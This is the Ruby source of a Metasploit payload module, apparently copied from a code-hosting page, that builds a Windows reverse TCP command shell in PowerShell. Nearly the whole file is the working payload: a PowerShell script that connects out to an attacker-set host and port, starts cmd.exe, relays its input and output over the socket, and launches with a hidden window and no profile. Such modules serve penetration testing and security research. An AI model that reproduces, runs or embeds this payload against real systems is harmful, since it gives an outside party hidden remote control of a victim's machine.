104 lines
3.5 KiB
Ruby
104 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/find_shell'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = 1204
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',
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'Description' => 'Connect back and create a command shell via Powershell',
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'Author' =>
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[
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'Dave Kennedy', # Original payload from trustedsec on SET
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'Ben Campbell' # Metasploit module
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],
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'References' =>
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[
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['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']
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],
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# The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'powershell',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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lhost = datastore['LHOST']
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lport = datastore['LPORT']
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powershell = "function RSC{"\
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"if ($c.Connected -eq $true) {$c.Close()};"\
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"if ($p.ExitCode -ne $null) {$p.Close()};"\
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"exit;"\
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"};"\
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"$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
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"$c.connect($a,$p);$s=$c.GetStream();"\
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"$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
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"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"\
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"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"\
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"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"\
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"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"\
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"while($os.Peek() -ne -1){"\
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"$o += $e.GetString($os.Read())"\
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"};"\
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"$s.Write($e.GetBytes($o),0,$o.Length);"\
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"$o=$null;$d=$false;$t=0;"\
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"while (-not $d) {"\
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"if ($c.Connected -ne $true) {RSC};"\
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"$pos=0;$i=1; "\
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"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
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"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
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"$pos+=$r;"\
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"if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
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"if ($pos -gt 0){"\
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"$str=$e.GetString($nb,0,$pos);"\
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"$is.write($str);start-sleep 1;"\
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"if ($p.ExitCode -ne $null){RSC}else{"\
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"$o=$e.GetString($os.Read());"\
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"while($os.Peek() -ne -1){"\
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"$o += $e.GetString($os.Read());"\
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"if ($o -eq $str) {$o=''}"\
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"};"\
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"$s.Write($e.GetBytes($o),0,$o.length);"\
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"$o=$null;"\
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"$str=$null"\
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"}"\
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"}else{RSC}};"\
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"powershell -w hidden -nop -c #{powershell}"
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end
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end
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